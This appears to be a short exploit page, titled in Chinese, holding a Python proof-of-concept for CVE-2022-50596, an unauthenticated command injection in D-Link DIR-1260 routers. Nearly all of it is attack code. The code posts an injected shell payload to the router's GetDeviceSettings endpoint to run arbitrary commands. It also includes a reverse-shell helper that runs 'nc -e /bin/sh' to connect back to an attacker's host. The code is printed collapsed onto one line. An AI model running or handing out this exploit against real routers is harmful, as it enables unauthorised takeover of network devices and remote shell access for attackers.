CVE-2022-50596 D-Link DIR-1260路由器未授权命令注入漏洞

#!/usr/bin/env python3 # CVE-2022-50596 PoC - D-Link DIR-1260 Command Injection # Target: D-Link DIR-1260 router firmware <= v1.20B05 import requests import sys import argparse def exploit(target_ip, target_port=8080, cmd='id'): """ Exploit CVE-2022-50596: Unauthenticated command injection in D-Link DIR-1260 Args: target_ip: IP address of the vulnerable router target_port: Management interface port (default: 8080) cmd: Command to execute on the target """ # Construct the malicious payload with command injection # The vulnerability is in GetDeviceSettings form's SetDest/Dest/Target parameter payload = f"'; {cmd} #" url = f"http://{target_ip}:{target_port}/GetDeviceSettings" # Prepare the POST data with the malicious payload data = { 'SetDest': '1', 'Dest': '1', 'Target': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2022-50596-PoC)' } print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Injecting command: {cmd}") print(f"[*] Payload: {payload}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[+] Status code: {response.status_code}") if response.text: print(f"[+] Response:\n{response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def reverse_shell(target_ip, attacker_ip, attacker_port=4444): """ Generate a reverse shell payload for CVE-2022-50596 """ # Netcat reverse shell payload cmd = f'nc -e /bin/sh {attacker_ip} {attacker_port}' exploit(target_ip, cmd=cmd) if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2022-50596 PoC') parser.add_argument('target', help='Target router IP address') parser.add_argument('-p', '--port', type=int, default=8080, help='Target port') parser.add_argument('-c', '--cmd', default='id', help='Command to execute') args = parser.parse_args() exploit(args.target, args.port, args.cmd)